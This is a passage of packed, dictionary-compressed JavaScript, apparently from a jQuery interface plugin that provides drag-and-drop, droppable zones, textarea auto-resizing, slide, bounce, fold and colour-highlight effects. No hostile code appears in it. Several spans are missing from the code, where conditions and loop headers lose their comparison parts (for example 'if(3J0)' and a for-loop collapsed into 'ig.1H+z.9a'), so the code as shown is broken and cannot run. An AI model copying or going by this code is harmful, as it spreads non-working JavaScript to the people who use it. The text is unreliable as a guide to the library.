if(a.D.2e.1F==6h){a.D.1Z={x:R(a.D.2e[0])||0,y:R(a.D.2e[1])||0,w:R(a.D.2e[2])||0,h:R(a.D.2e[3])||0}}a.D.1Z.dx=a.D.1Z.x-a.D.1w.x;a.D.1Z.dy=a.D.1Z.y-a.D.1w.y},8r:C(a){if(a.D.7V||a.D.2e==\'7X\'){A(\'23\',1c).1L(A.X.18.I(0))}A.X.18.58().2x().E(\'1E\',1);if(1P.6j){A.X.18.E(\'4X\',\'7s(1E=1Y)\')}},8I:C(e){A(1c).3h(\'3t\',A.X.aE).3h(\'5n\',A.X.8I);if(A.X.1g==P){G}F a=A.X.1g;A.X.1g=P;if(a.D.6g==H){G H}if(a.D.3I==14){A(a).E(\'T\',a.D.49)}F b=a.Y;if(a.4P){A.X.18.E(\'7z\',\'7g\')}if(a.D.6i){A.X.18.3S(a.D.6i)}if(a.D.5B==H){if(a.D.fx>0){if(!a.D.2g||a.D.2g==\'3Z\'){F x=W A.fx(a,{1H:a.D.fx},\'M\');x.1G(a.D.22.x,a.D.7i)}if(!a.D.2g||a.D.2g==\'3K\'){F y=W A.fx(a,{1H:a.D.fx},\'O\');y.1G(a.D.22.y,a.D.7k)}}L{if(!a.D.2g||a.D.2g==\'3Z\')a.Y.M=a.D.7i+\'Q\';if(!a.D.2g||a.D.2g==\'3K\')a.Y.O=a.D.7k+\'Q\'}A.X.8r(a);if(a.D.3L==H){A(a).E(\'11\',a.D.6o)}}L if(a.D.fx>0){a.D.8w=14;F c=H;if(A.1s&&A.1p&&a.D.3I){c=A.12.3a(A.1p.18.I(0))}A.X.18.4S({M:c?c.x:a.D.1w.x,O:c?c.y:a.D.1w.y},a.D.fx,C(){a.D.8w=H;if(a.D.3L==H){a.Y.11=a.D.6o}A.X.8r(a)})}L{A.X.8r(a);if(a.D.3L==H){A(a).E(\'11\',a.D.6o)}}if(A.1s&&A.1s.7p>0){A.1s.c8(a)}if(A.1p&&a.D.3I){A.1p.c7(a)}if(a.D.2I&&(a.D.7i!=a.D.22.x||a.D.7k!=a.D.22.y)){a.D.2I.1x(a,a.D.aa||[0,0,a.D.7i,a.D.7k])}if(a.D.3C)a.D.3C.1x(a);G H},a9:C(x,y,a,b){if(a!=0)a=R((a+(B.D.gx*a/Z.3B(a))/2)/B.D.gx)*B.D.gx;if(b!=0)b=R((b+(B.D.gy*b/Z.3B(b))/2)/B.D.gy)*B.D.gy;G{dx:a,dy:b,x:0,y:0}},ae:C(x,y,a,b){a=Z.3k(Z.3g(a,B.D.1Z.dx),B.D.1Z.w+B.D.1Z.dx-B.D.1w.1D);b=Z.3k(Z.3g(b,B.D.1Z.dy),B.D.1Z.h+B.D.1Z.dy-B.D.1w.hb);G{dx:a,dy:b,x:0,y:0}},aE:C(e){if(A.X.1g==P||A.X.1g.D.8w==14){G}F a=A.X.1g;a.D.4d=A.12.3W(e);if(a.D.6g==H){3J=Z.cB(Z.5j(a.D.1A.x-a.D.4d.x,2)+Z.5j(a.D.1A.y-a.D.4d.y,2));if(3J0){A.1s.8n(a)}G H},2l:C(o){if(!A.X.18){A(\'23\',1c).1L(\'<1W id="bX">\');A.X.18=A(\'#bX\');F c=A.X.18.I(0);F d=c.Y;d.T=\'1J\';d.11=\'1k\';d.7z=\'7g\';d.bV=\'1k\';d.2N=\'2B\';if(1P.6j){c.aI="bU"}L{d.eZ=\'1k\';d.cH=\'1k\';d.cJ=\'1k\'}}if(!o){o={}}G B.1y(C(){if(B.8L||!A.12)G;if(1P.6j){B.eX=C(){G H};B.eW=C(){G H}}F a=B;F b=o.3c?A(B).eV(o.3c):A(B);if(A.2R.46){b.1y(C(){B.aI="bU"})}L{b.E(\'-eU-6f-7Q\',\'1k\');b.E(\'6f-7Q\',\'1k\');b.E(\'-eT-6f-7Q\',\'1k\')}B.D={cM:b,5B:o.5B?14:H,3L:o.3L?14:H,3I:o.3I?o.3I:H,4P:o.4P?o.4P:H,7V:o.7V?o.7V:H,3j:o.3j?R(o.3j)||0:H,1E:o.1E?2c(o.1E):H,fx:R(o.fx)||P,5z:o.5z?o.5z:H,4V:{},1A:{},4c:o.4c&&o.4c.1F==2w?o.4c:H,3C:o.3C&&o.3C.1F==2w?o.3C:H,2I:o.2I&&o.2I.1F==2w?o.2I:H,2g:/3K|3Z/.3M(o.2g)?o.2g:H,5D:o.5D?R(o.5D)||0:0,2M:o.2M?o.2M:H,ar:o.ar?14:H,6i:o.6i||H};if(o.4V&&o.4V.1F==2w)B.D.4V.6f=o.4V;if(o.4h&&o.4h.1F==2w)B.D.4h=o.4h;if(o.2e&&((o.2e.1F==8t&&(o.2e==\'7X\'||o.2e==\'1c\'))||(o.2e.1F==6h&&o.2e.1b==4))){B.D.2e=o.2e}if(o.2C){B.D.2C=o.2C}if(o.5y){if(28 o.5y==\'eO\'){B.D.gx=R(o.5y)||1;B.D.gy=R(o.5y)||1}L if(o.5y.1b==2){B.D.gx=R(o.5y[0])||1;B.D.gy=R(o.5y[1])||1}}if(o.3n&&o.3n.1F==2w){B.D.3n=o.3n}B.8L=14;b.1y(C(){B.3H=a});b.1C(\'4R\',A.X.aM)})}};A.fn.1U({8j:A.X.4v,6r:A.X.2l});A.1s={bP:C(a,b,c,d){G a<=A.X.1g.D.2n&&(a+c)>=(A.X.1g.D.2n+A.X.1g.D.1w.w)&&b<=A.X.1g.D.2j&&(b+d)>=(A.X.1g.D.2j+A.X.1g.D.1w.h)?14:H},9S:C(a,b,c,d){G!(a>(A.X.1g.D.2n+A.X.1g.D.1w.w)||(a+c)(A.X.1g.D.2j+A.X.1g.D.1w.h)||(b+d)A.X.1g.D.4d.x&&bA.X.1g.D.4d.y?14:H},4T:H,3z:{},7p:0,3p:{},ck:C(a){if(A.X.1g==P){G}F i;A.1s.3z={};F b=H;1V(i in A.1s.3p){if(A.1s.3p[i]!=P){F c=A.1s.3p[i].I(0);if(A(A.X.1g).is(\'.\'+c.1f.a)){if(c.1f.m==H){c.1f.p=A.1U(A.12.6x(c),A.12.6w(c));c.1f.m=14}if(c.1f.ac){A.1s.3p[i].2H(c.1f.ac)}A.1s.3z[i]=A.1s.3p[i];if(A.1p&&c.1f.s&&A.X.1g.D.3I){c.1f.el=A(\'.\'+c.1f.a,c);a.Y.11=\'1k\';A.1p.bM(c);c.1f.9P=A.1p.8g(A.1m(c,\'id\')).6A;a.Y.11=a.D.6o;b=14}if(c.1f.9O){c.1f.9O.1x(A.1s.3p[i].I(0),[A.X.1g])}}}}if(b){A.1p.2b()}},eF:C(){A.1s.3z={};1V(i in A.1s.3p){if(A.1s.3p[i]!=P){F a=A.1s.3p[i].I(0);if(A(A.X.1g).is(\'.\'+a.1f.a)){a.1f.p=A.1U(A.12.6x(a),A.12.6w(a));if(a.1f.ac){A.1s.3p[i].2H(a.1f.ac)}A.1s.3z[i]=A.1s.3p[i];if(A.1p&&a.1f.s&&A.X.1g.D.3I){a.1f.el=A(\'.\'+a.1f.a,a);bJ.Y.11=\'1k\';A.1p.bM(a);bJ.Y.11=bJ.D.6o}}}}},8n:C(e){if(A.X.1g==P){G}A.1s.4T=H;F i;F a=H;F b=0;1V(i in A.1s.3z){F c=A.1s.3z[i].I(0);if(A.1s.4T==H&&A.1s[c.1f.t](c.1f.p.x,c.1f.p.y,c.1f.p.1D,c.1f.p.hb)){if(c.1f.hc&&c.1f.h==H){A.1s.3z[i].2H(c.1f.hc)}if(c.1f.h==H&&c.1f.76){a=14}c.1f.h=14;A.1s.4T=c;if(A.1p&&c.1f.s&&A.X.1g.D.3I){A.1p.18.I(0).2Z=c.1f.eC;A.1p.8n(c)}b++}L if(c.1f.h==14){if(c.1f.6C){c.1f.6C.1x(c,[e,A.X.18.I(0).6M,c.1f.fx])}if(c.1f.hc){A.1s.3z[i].3S(c.1f.hc)}c.1f.h=H}}if(A.1p&&!A.1s.4T&&A.X.1g.3I){A.1p.18.I(0).Y.11=\'1k\'}if(a){A.1s.4T.1f.76.1x(A.1s.4T,[e,A.X.18.I(0).6M])}},c8:C(e){F i;1V(i in A.1s.3z){F a=A.1s.3z[i].I(0);if(a.1f.ac){A.1s.3z[i].3S(a.1f.ac)}if(a.1f.hc){A.1s.3z[i].3S(a.1f.hc)}if(a.1f.s){A.1p.73[A.1p.73.1b]=i}if(a.1f.9I&&a.1f.h==14){a.1f.h=H;a.1f.9I.1x(a,[e,a.1f.fx])}a.1f.m=H;a.1f.h=H}A.1s.3z={}},4v:C(){G B.1y(C(){if(B.8S){if(B.1f.s){id=A.1m(B,\'id\');A.1p.54[id]=P;A(\'.\'+B.1f.a,B).8j()}A.1s.3p[\'d\'+B.bG]=P;B.8S=H;B.f=P}})},2l:C(o){G B.1y(C(){if(B.8S==14||!o.3r||!A.12||!A.X){G}B.1f={a:o.3r,ac:o.9F||H,hc:o.8X||H,eC:o.4G||H,9I:o.je||o.9I||H,76:o.76||o.ev||H,6C:o.6C||o.er||H,9O:o.9O||H,t:o.5T&&(o.5T==\'bP\'||o.5T==\'9S\')?o.5T:\'1A\',fx:o.fx?o.fx:H,m:H,h:H};if(o.bC==14&&A.1p){id=A.1m(B,\'id\');A.1p.54[id]=B.1f.a;B.1f.s=14;if(o.2I){B.1f.2I=o.2I;B.1f.9P=A.1p.8g(id).6A}}B.8S=14;B.bG=R(Z.63()*aW);A.1s.3p[\'d\'+B.bG]=A(B);A.1s.7p++})}};A.fn.1U({ei:A.1s.4v,ee:A.1s.2l});A.jd=A.1s.eF;A.3l={18:P,89:C(){3D=B.2m;if(!3D)G;Y={eb:A(B).E(\'eb\')||\'\',4a:A(B).E(\'4a\')||\'\',87:A(B).E(\'87\')||\'\',e9:A(B).E(\'e9\')||\'\',e8:A(B).E(\'e8\')||\'\',e7:A(B).E(\'e7\')||\'\',bx:A(B).E(\'bx\')||\'\',e6:A(B).E(\'e6\')||\'\'};A.3l.18.E(Y);3i=A.3l.e5(3D);3i=3i.48(W bw("\\\\n","g"),"
    ");A.3l.18.3i(\'j6\');b3=A.3l.18.I(0).3P;A.3l.18.3i(3i);V=A.3l.18.I(0).3P+b3;if(B.66.65&&V>B.66.65[0]){V=B.66.65[0]}B.Y.V=V+\'Q\';if(B.4D==\'bs\'){S=A.3l.18.I(0).5r+b3;if(B.66.65&&S>B.66.65[1]){S=B.66.65[1]}B.Y.S=S+\'Q\'}},e5:C(a){bq={\'&\':\'&j1;\',\'<\':\'&j0;\',\'>\':\'>\',\'"\':\'&iZ;\'};1V(i in bq){a=a.48(W bw(i,\'g\'),bq[i])}G a},2l:C(a){if(A.3l.18==P){A(\'23\',1c).1L(\'<1W id="dX" Y="T: 1J; O: 0; M: 0; 2W: 2B;">\');A.3l.18=A(\'#dX\')}G B.1y(C(){if(/bs|aV/.3M(B.4D)){if(B.4D==\'aV\'){dT=B.4Z(\'1K\');if(!/3D|iW/.3M(dT)){G}}if(a&&(a.1F==bm||(a.1F==6h&&a.1b==2))){if(a.1F==bm)a=[a,a];L{a[0]=R(a[0])||7n;a[1]=R(a[1])||7n}B.66={65:a}}A(B).4W(A.3l.89).5Q(A.3l.89).cV(A.3l.89);A.3l.89.1x(B)}})}};A.fn.iU=A.3l.2l;A.fn.1U({c3:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'4l\',c)})},dP:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'41\',c)})},iQ:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'dG\',c)})},iM:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'M\',c)})},iL:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'2D\',c)})},iK:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.5l(B,a,b,\'dF\',c)})}});A.fx.5l=C(e,a,b,c,d){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.1N=A.12.2f(e);z.1e=28 b==\'4B\'?b:d||P;if(!e.4f)e.4f=z.el.E(\'11\');if(c==\'dG\'){c=z.el.E(\'11\')==\'1k\'?\'41\':\'4l\'}L if(c==\'dF\'){c=z.el.E(\'11\')==\'1k\'?\'2D\':\'M\'}z.el.1S();z.1l=a;z.29=28 b==\'C\'?b:P;z.fx=A.fx.9u(e);z.6T=c;z.1T=C(){if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}if(z.6T==\'41\'||z.6T==\'2D\'){z.el.E(\'11\',z.el.I(0).4f==\'1k\'?\'2v\':z.el.I(0).4f)}L{z.el.2x()}A.fx.9n(z.fx.2Y.I(0),z.fx.U);A.2z(z.el.I(0),\'1j\')};2X(z.6T){19\'4l\':5q=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'S\');5q.1G(z.fx.U.1o.hb,0);1n;19\'41\':z.fx.2Y.E(\'S\',\'9e\');z.el.1S();5q=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'S\');5q.1G(0,z.fx.U.1o.hb);1n;19\'M\':5q=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'V\');5q.1G(z.fx.U.1o.1D,0);1n;19\'2D\':z.fx.2Y.E(\'V\',\'9e\');z.el.1S();5q=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'V\');5q.1G(0,z.fx.U.1o.1D);1n}};A.fn.iA=C(a,b){G B.1r(\'1j\',C(){if(!A.4n(B)){A.2z(B,\'1j\');G H}F e=W A.fx.eu(B,a,b);e.bE()})};A.fx.eu=C(e,a,b){F z=B;z.el=A(e);z.el.1S();z.29=b;z.8e=R(a)||40;z.U={};z.U.T=z.el.E(\'T\');z.U.O=R(z.el.E(\'O\'))||0;z.U.M=R(z.el.E(\'M\'))||0;if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.74=5;z.52=1;z.bE=C(){z.52++;z.e=W A.fx(z.el.I(0),{1H:io,1T:C(){z.e=W A.fx(z.el.I(0),{1H:80,1T:C(){z.8e=R(z.8e/2);if(z.52<=z.74)z.bE();L{z.el.E(\'T\',z.U.T).E(\'O\',z.U.O+\'Q\').E(\'M\',z.U.M+\'Q\');A.2z(z.el.I(0),\'1j\');if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}}}},\'O\');z.e.1G(z.U.O-z.8e,z.U.O)}},\'O\');z.e.1G(z.U.O,z.U.O-z.8e)}};A.fn.1U({im:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'41\',\'3U\',c)})},ik:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'41\',\'in\',c)})},ii:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'41\',\'3E\',c)})},ig:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'4l\',\'3U\',c)})},ie:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'4l\',\'in\',c)})},ic:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'4l\',\'3E\',c)})},ib:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'M\',\'3U\',c)})},ia:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'M\',\'in\',c)})},i9:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'M\',\'3E\',c)})},i8:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'2D\',\'3U\',c)})},i7:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'2D\',\'in\',c)})},i6:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.3Y(B,a,b,\'2D\',\'3E\',c)})}});A.fx.3Y=C(e,a,b,c,d,f){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.1e=28 b==\'4B\'?b:f||P;z.U={};z.U.T=z.el.E(\'T\');z.U.O=z.el.E(\'O\');z.U.M=z.el.E(\'M\');if(!e.4f)e.4f=z.el.E(\'11\');if(d==\'3E\'){d=z.el.E(\'11\')==\'1k\'?\'in\':\'3U\'}z.el.1S();if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.1K=d;b=28 b==\'C\'?b:P;7N=1;2X(c){19\'4l\':z.e=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'O\');z.5x=2c(z.U.O)||0;z.9i=z.dt;7N=-1;1n;19\'41\':z.e=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'O\');z.5x=2c(z.U.O)||0;z.9i=z.dt;1n;19\'2D\':z.e=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'M\');z.5x=2c(z.U.M)||0;z.9i=z.ds;1n;19\'M\':z.e=W A.fx(z.el.I(0),A.1l(a-15,z.1e,b),\'M\');z.5x=2c(z.U.M)||0;z.9i=z.ds;7N=-1;1n}z.e2=W A.fx(z.el.I(0),A.1l(a,z.1e,C(){z.el.E(z.U);if(z.1K==\'3U\'){z.el.E(\'11\',\'1k\')}L z.el.E(\'11\',z.el.I(0).4f==\'1k\'?\'2v\':z.el.I(0).4f);A.2z(z.el.I(0),\'1j\')}),\'1E\');if(d==\'in\'){z.e.1G(z.5x+1Y*7N,z.5x);z.e2.1G(0,1)}L{z.e.1G(z.5x,z.5x+1Y*7N);z.e2.1G(1,0)}};A.fn.1U({i5:C(a,b,c,d){G B.1r(\'1j\',C(){W A.fx.9h(B,a,b,c,\'dq\',d)})},i4:C(a,b,c,d){G B.1r(\'1j\',C(){W A.fx.9h(B,a,b,c,\'9g\',d)})},i3:C(a,b,c,d){G B.1r(\'1j\',C(){W A.fx.9h(B,a,b,c,\'3E\',d)})}});A.fx.9h=C(e,a,b,c,d,f){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.1e=28 c==\'4B\'?c:f||P;z.29=28 c==\'C\'?c:P;if(d==\'3E\'){d=z.el.E(\'11\')==\'1k\'?\'9g\':\'dq\'}z.1l=a;z.S=b&&b.1F==bm?b:20;z.fx=A.fx.9u(e);z.1K=d;z.1T=C(){if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}if(z.1K==\'9g\'){z.el.1S()}L{z.el.2x()}A.fx.9n(z.fx.2Y.I(0),z.fx.U);A.2z(z.el.I(0),\'1j\')};if(z.1K==\'9g\'){z.el.1S();z.fx.2Y.E(\'S\',z.S+\'Q\').E(\'V\',\'9e\');z.ef=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,C(){z.ef=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'S\');z.ef.1G(z.S,z.fx.U.1o.hb)}),\'V\');z.ef.1G(0,z.fx.U.1o.1D)}L{z.ef=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,C(){z.ef=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e,z.1T),\'V\');z.ef.1G(z.fx.U.1o.1D,0)}),\'S\');z.ef.1G(z.fx.U.1o.hb,z.S)}};A.fn.i2=C(c,d,e,f){G B.1r(\'dp\',C(){B.6Q=A(B).1m("Y")||\'\';f=28 e==\'4B\'?e:f||P;e=28 e==\'C\'?e:P;F a=A(B).E(\'6P\');F b=B.2S;6k(a==\'b7\'&&b){a=A(b).E(\'6P\');b=b.2S}A(B).E(\'6P\',d);if(28 B.6Q==\'7M\')B.6Q=B.6Q["9d"];A(B).4S({\'6P\':a},c,f,C(){A.2z(B,\'dp\');if(28 A(B).1m("Y")==\'7M\'){A(B).1m("Y")["9d"]="";A(B).1m("Y")["9d"]=B.6Q}L{A(B).1m("Y",B.6Q)}if(e)e.1x(B)})})};A.4n=C(e){if(/^i1$|^i0$|^hZ$|^5W$|^hY$|^hX$|^hW$|^hV$|^hU$|^23$|^hT$|^hS$|^hR$|^hQ$|^hP$|^hO$|^hN$/i.3M(e.98))G H;L G 14};A.fx.9n=C(e,a){F c=e.6M;F b=c.Y;b.T=a.T;b.4M=a.3s.t;b.4K=a.3s.l;b.4L=a.3s.b;b.53=a.3s.r;b.O=a.O+\'Q\';b.M=a.M+\'Q\';e.2S.dn(c,e);e.2S.hM(e)};A.fx.9u=C(e){if(!A.4n(e))G H;F t=A(e);F a=e.Y;F b=H;if(t.E(\'11\')==\'1k\'){95=t.E(\'2W\');t.E(\'2W\',\'2B\').1S();b=14}F c={};c.T=t.E(\'T\');c.1o=A.12.2f(e);c.3s=A.12.b2(e);F d=e.4u?e.4u.dk:t.E(\'hK\');c.O=R(t.E(\'O\'))||0;c.M=R(t.E(\'M\'))||0;F f=\'hJ\'+R(Z.63()*aW);F g=1c.3x(/^3O$|^br$|^hI$|^hr$|^7Q$|^hH$|^7M$|^3q$|^hF$|^hE$|^hC$|^90$|^dl$|^hB$/i.3M(e.98)?\'1W\':e.98);A.1m(g,\'id\',f);F h=A(g).2H(\'hA\');F i=g.Y;F j=0;F k=0;if(c.T==\'2i\'||c.T==\'1J\'){j=c.O;k=c.M}i.O=j+\'Q\';i.M=k+\'Q\';i.T=c.T!=\'2i\'&&c.T!=\'1J\'?\'2i\':c.T;i.S=c.1o.hb+\'Q\';i.V=c.1o.1D+\'Q\';i.4M=c.3s.t;i.53=c.3s.r;i.4L=c.3s.b;i.4K=c.3s.l;i.2N=\'2B\';if(A.2R.46){i.dk=d}L{i.hz=d}if(A.2R=="46"){a.4X="7s(1E="+0.dg*1Y+")"}a.1E=0.dg;e.2S.dn(g,e);g.hy(e);a.4M=\'2G\';a.53=\'2G\';a.4L=\'2G\';a.4K=\'2G\';a.T=\'1J\';a.bV=\'1k\';a.O=\'2G\';a.M=\'2G\';if(b){t.2x();a.2W=95}G{U:c,2Y:A(g)}};A.fx.7H={hx:[0,1O,1O],hw:[dd,1O,1O],hv:[db,db,hu],hs:[0,0,0],hq:[0,0,1O],hp:[d6,42,42],hn:[0,1O,1O],hm:[0,0,6N],hl:[0,6N,6N],hk:[aX,aX,aX],hi:[0,1Y,0],hg:[hf,he,cZ],hd:[6N,0,6N],ha:[85,cZ,47],h7:[1O,cY,0],h6:[h5,50,h4],h3:[6N,0,0],h2:[h1,cX,h0],gZ:[gY,0,8U],gX:[1O,0,1O],gW:[1O,gU,0],gT:[0,67,0],gS:[75,0,gQ],gP:[dd,cU,cY],gO:[gL,gK,cU],gI:[cT,1O,1O],gH:[cS,gG,cS],gF:[8U,8U,8U],gD:[1O,gC,gB],gA:[1O,1O,cT],gw:[0,1O,0],gv:[1O,0,1O],gu:[67,0,0],gs:[0,0,67],gr:[67,67,0],gq:[1O,d6,0],gp:[1O,8R,gn],gm:[67,0,67],gl:[1O,0,0],gk:[8R,8R,8R],gj:[1O,1O,1O],gi:[1O,1O,0]};A.fx.5L=C(a,b){if(A.fx.7H[a])G{r:A.fx.7H[a][0],g:A.fx.7H[a][1],b:A.fx.7H[a][2]};L if(2L=/^6v\\(\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*,\\s*([0-9]{1,3})\\s*\\)$/.8Q(a))G{r:R(2L[1]),g:R(2L[2]),b:R(2L[3])};L if(2L=/6v\\(\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*,\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*,\\s*([0-9]+(?:\\.[0-9]+)?)\\%\\s*\\)$/.8Q(a))G{r:2c(2L[1])*2.55,g:2c(2L[2])*2.55,b:2c(2L[3])*2.55};L if(2L=/^#([a-fA-6t-9])([a-fA-6t-9])([a-fA-6t-9])$/.8Q(a))G{r:R("6s"+2L[1]+2L[1]),g:R("6s"+2L[2]+2L[2]),b:R("6s"+2L[3]+2L[3])};L if(2L=/^#([a-fA-6t-9]{2})([a-fA-6t-9]{2})([a-fA-6t-9]{2})$/.8Q(a))G{r:R("6s"+2L[1]),g:R("6s"+2L[2]),b:R("6s"+2L[3])};L G b==14?H:{r:1O,g:1O,b:1O}};A.fx.cQ={5d:1,4y:1,5i:1,4x:1,4e:1,4a:1,S:1,M:1,bx:1,gh:1,4L:1,4K:1,53:1,4M:1,7y:1,5R:1,7x:1,8O:1,1E:1,ge:1,gc:1,4Q:1,4F:1,5g:1,5b:1,2D:1,gb:1,O:1,V:1,3j:1};A.fx.cN={6P:1,ga:1,g9:1,g8:1,g7:1,g6:1,g5:1};A.fx.7v=[\'g4\',\'g3\',\'g2\',\'g1\'];A.fx.aL={\'aK\':[\'2u\',\'cK\'],\'8E\':[\'2u\',\'aH\'],\'5X\':[\'5X\',\'\'],\'7E\':[\'7E\',\'\']};A.fn.1U({4S:C(b,c,d,f){G B.1r(C(){F a=A.1l(c,d,f);F e=W A.cI(B,a,b)})},aG:C(b,c){G B.1r(C(){F a=A.1l(b,c);F e=W A.aG(B,a)})},7w:C(a){G B.1y(C(){if(B.5e)A.aF(B,a)})},fZ:C(a){G B.1y(C(){if(B.5e)A.aF(B,a);if(B.1r&&B.1r[\'fx\'])B.1r.fx=[]})}});A.1U({aG:C(a,b){F z=B,5f;z.3f=C(){if(A.cF(b.1T))b.1T.1x(a)};z.2A=5Y(C(){z.3f()},b.1H);a.5e=z},1e:{b1:C(p,n,a,b,c){G((-Z.51(p*Z.2F)/2)+0.5)*b+a}},cI:C(f,g,h){F z=B,5f;F y=f.Y;F k=A.E(f,"2N");F l=A.E(f,"11");F o={};z.9a=(W 6p()).6y();g.1e=g.1e&&A.1e[g.1e]?g.1e:\'b1\';z.8H=C(a,b){if(A.fx.cQ[a]){if(b==\'1S\'||b==\'2x\'||b==\'3E\'){if(!f.5I)f.5I={};F r=2c(A.5S(f,a));f.5I[a]=r&&r>-aW?r:(2c(A.E(f,a))||0);b=b==\'3E\'?(l==\'1k\'?\'1S\':\'2x\'):b;g[b]=14;o[a]=b==\'1S\'?[0,f.5I[a]]:[f.5I[a],0];if(a!=\'1E\')y[a]=o[a][0]+(a!=\'3j\'&&a!=\'87\'?\'Q\':\'\');L A.1m(y,"1E",o[a][0])}L{o[a]=[2c(A.5S(f,a)),2c(b)||0]}}L if(A.fx.cN[a])o[a]=[A.fx.5L(A.5S(f,a)),A.fx.5L(b)];L if(/^5X$|7E$|2u$|8E$|aK$/i.3M(a)){F m=b.48(/\\s+/g,\' \').48(/6v\\s*\\(\\s*/g,\'6v(\').48(/\\s*,\\s*/g,\',\').48(/\\s*\\)/g,\')\').aD(/([^\\s]+)/g);2X(a){19\'5X\':19\'7E\':19\'aK\':19\'8E\':m[3]=m[3]||m[1]||m[0];m[2]=m[2]||m[0];m[1]=m[1]||m[0];1V(F i=0;ig.1H+z.9a){5h(z.2A);z.2A=P;1V(p in o){if(p=="1E")A.1m(y,"1E",o[p][1]);L if(28 o[p][1]==\'7M\')y[p]=\'6v(\'+o[p][1].r+\',\'+o[p][1].g+\',\'+o[p][1].b+\')\';L y[p]=o[p][1]+(p!=\'3j\'&&p!=\'87\'?\'Q\':\'\')}if(g.2x||g.1S)1V(F p in f.5I)if(p=="1E")A.1m(y,p,f.5I[p]);L y[p]="";y.11=g.2x?\'1k\':(l!=\'1k\'?l:\'2v\');y.2N=k;f.5e=P;if(A.cF(g.1T))g.1T.1x(f)}L{F n=t-B.9a;F a=n/g.1H;1V(p in o){if(28 o[p][1]==\'7M\'){y[p]=\'6v(\'+R(A.1e[g.1e](a,n,o[p][0].r,(o[p][1].r-o[p][0].r),g.1H))+\',\'+R(A.1e[g.1e](a,n,o[p][0].g,(o[p][1].g-o[p][0].g),g.1H))+\',\'+R(A.1e[g.1e](a,n,o[p][0].b,(o[p][1].b-o[p][0].b),g.1H))+\')\'}L{F b=A.1e[g.1e](a,n,o[p][0],(o[p][1]-o[p][0]),g.1H);if(p=="1E")A.1m(y,"1E",b);L y[p]=b+(p!=\'3j\'&&p!=\'87\'?\'Q\':\'\')}}}};z.2A=5Y(C(){z.3f()},13);f.5e=z},aF:C(a,b){if(b)a.5e.9a-=fJ;L{1P.5h(a.5e.2A);a.5e=P;A.2z(a,"fx")}}});A.ax=C(a){F b={};if(28 a==\'4B\'){a=a.5u().6W(\';\');1V(F i=0;i0){z.cy=1o[i];z.4a=2c(z.U.4a)}if(z.U.4x.3o(1o[i])>0){z.cx=1o[i];z.aq=2c(z.U.4x)||0}if(z.U.5i.3o(1o[i])>0){z.cw=1o[i];z.ap=2c(z.U.5i)||0}if(z.U.5d.3o(1o[i])>0){z.cv=1o[i];z.ao=2c(z.U.5d)||0}if(z.U.4y.3o(1o[i])>0){z.cu=1o[i];z.an=2c(z.U.4y)||0}if(z.U.5b.3o(1o[i])>0){z.ct=1o[i];z.am=2c(z.U.5b)||0}if(z.U.5g.3o(1o[i])>0){z.cr=1o[i];z.al=2c(z.U.5g)||0}if(z.U.4Q.3o(1o[i])>0){z.cq=1o[i];z.ak=2c(z.U.4Q)||0}if(z.U.4F.3o(1o[i])>0){z.cp=1o[i];z.aj=2c(z.U.4F)||0}}if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.el.E(\'2N\',\'2B\');z.1K=m;2X(z.1K){19\'cz\':z.3V=z.O+z.26.h/2;z.4H=z.O;z.3Q=z.M+z.26.w/2;z.4r=z.M;1n;19\'as\':z.4H=z.O+z.26.h/2;z.3V=z.O;z.4r=z.M+z.26.w/2;z.3Q=z.M;1n;19\'5c\':z.4H=z.O-z.26.h/4;z.3V=z.O;z.4r=z.M-z.26.w/4;z.3Q=z.M;1n}z.ai=H;z.t=(W 6p).6y();z.4i=C(){5h(z.2A);z.2A=P};z.3f=C(){if(z.ai==H){z.el.1S();z.ai=14}F t=(W 6p).6y();F n=t-z.t;F 